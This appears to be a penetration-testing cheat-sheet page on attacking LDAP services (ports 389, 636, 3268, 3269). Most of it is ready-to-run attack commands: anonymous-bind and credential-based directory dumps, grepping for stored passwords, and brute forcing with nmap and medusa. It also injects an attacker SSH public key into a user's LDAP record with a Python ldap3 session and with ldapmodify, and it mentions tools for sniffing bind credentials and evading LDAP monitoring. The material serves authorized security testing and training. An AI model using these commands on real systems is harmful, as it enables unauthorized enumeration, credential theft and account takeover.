LDAP - Ports 389, 636, 3268, 3269

Become VeryLazyTech member! ๐ŸŽ


Basic Info

LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and managing directory information services. It is commonly used in Windows Active Directory and Linux directory services.

  • Ports:

    • TCP 389 (unencrypted LDAP)

    • TCP 636 (LDAPS - LDAP over SSL/TLS)

    • TCP 3268 (Global Catalog for domain-wide searches)

    • TCP 3269 (Secure Global Catalog)

  • Authentication Types:

    • Anonymous bind

    • Simple authentication (username/password)

    • SASL authentication (Kerberos, NTLM, Digest-MD5)

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: [email protected]
phone: 23627387495
  • Lines 1-3 define the top level domain local

  • Lines 5-8 define the first level domain moneycorp (moneycorp.local)

  • Lines 10-16 define 2 organizational units: dev and sales

  • Lines 18-26 create an object of the domain and assign attributes with values

Write data

Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Anonymous Access

Bypass TLS SNI check

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Enumerating LDAP Services

Before attacking LDAP, we must enumerate the target environment.

2.1 Scanning for LDAP Services

Use nmap to discover LDAP services:

nmap -p 389,636,3268,3269 --script ldap-rootdse <target-IP>

2.2 LDAP Enumeration with windapsearch orldapsearch

windapsearch

Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --privileged-users

Check null credentials or if your credentials are valid:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839

If you find something saying that the "bind must be completed" means that the credentials are incorrect.

You can extract everything from a domain using:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extract users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extract computers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract my info:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

To see if you have access to any password you can use grep after executing one of the queries:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Please, notice that the passwords that you can find here could not be the real ones...

pbis

You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis. Pbis allow you to get basic information easily:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
    echo "$line";
    ./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
    echo "======================"
done

Graphical Interface

Apache Directory

Download Apache Directory from here. You can find an example of how to use this tool here.

jxplorer

You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html

By default is is installed in: /opt/jxplorer

Godap

Godap is an interactive terminal user interface for LDAP that can be used to interact with objects and attributes in AD and other LDAP servers. It is available for Windows, Linux and MacOS and supports simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, along with several other specialized features such as searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, etc.

You can access it in https://github.com/Macmod/godap. For usage examples and instructions read the Wiki.

Ldapx

Ldapx is a flexible LDAP proxy that can be used to inspect & transform LDAP traffic from other tools. It can be used to obfuscate LDAP traffic to attempt to bypass identity protection & LDAP monitoring tools and implements most of the methods presented in the MaLDAPtive talk.

You can get it from https://github.com/Macmod/ldapx.

Exploiting Anonymous Binds

If anonymous binds are enabled, we can extract:

  • Users

  • Groups

  • Policies

Check anonymous access:

ldapsearch -x -h <target-IP> -s base -b ""

If successful, dump the entire directory:

ldapsearch -x -h <target-IP> -b "dc=example,dc=com"

Attacking LDAP Authentication

4.1 Valid Credential Enumeration

If we have a valid username and password:

ldapsearch -x -h <target-IP> -D "cn=admin,dc=example,dc=com" -w "password" -b "dc=example,dc=com"

4.2 Brute Force Attack

Using nmap:

nmap --script ldap-brute -p 389 <target-IP>

Using medusa:

medusa -h <target-IP> -U users.txt -P passwords.txt -M ldap

Modifying LDAP Attributes (Privilege Escalation)

If we have write permissions, we can inject an SSH key or modify user permissions:

ldapmodify -x -D "cn=admin,dc=example,dc=com" -w "password" <<EOF
dn: uid=user,dc=example,dc=com
changetype: modify
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3...
EOF

Sniffing LDAP Traffic

If LDAP is not using encryption, credentials can be intercepted using Wireshark:

  • Filter: ldap && ip.addr==<target-IP>

  • Look for bindRequest packets containing usernames and passwords.

Configuration Files

  • General

    • containers.ldif

    • ldap.cfg

    • ldap.conf

    • ldap.xml

    • ldap-config.xml

    • ldap-realm.xml

    • slapd.conf

  • IBM SecureWay V3 server

    • V3.sas.oc

  • Microsoft Active Directory server

    • msadClassesAttrs.ldif

  • Netscape Directory Server 4

    • nsslapd.sas_at.conf

    • nsslapd.sas_oc.conf

  • OpenLDAP directory server

    • slapd.sas_at.conf

    • slapd.sas_oc.conf

  • Sun ONE Directory Server 5.1

    • 75sas.ldif


Last updated

Was this helpful?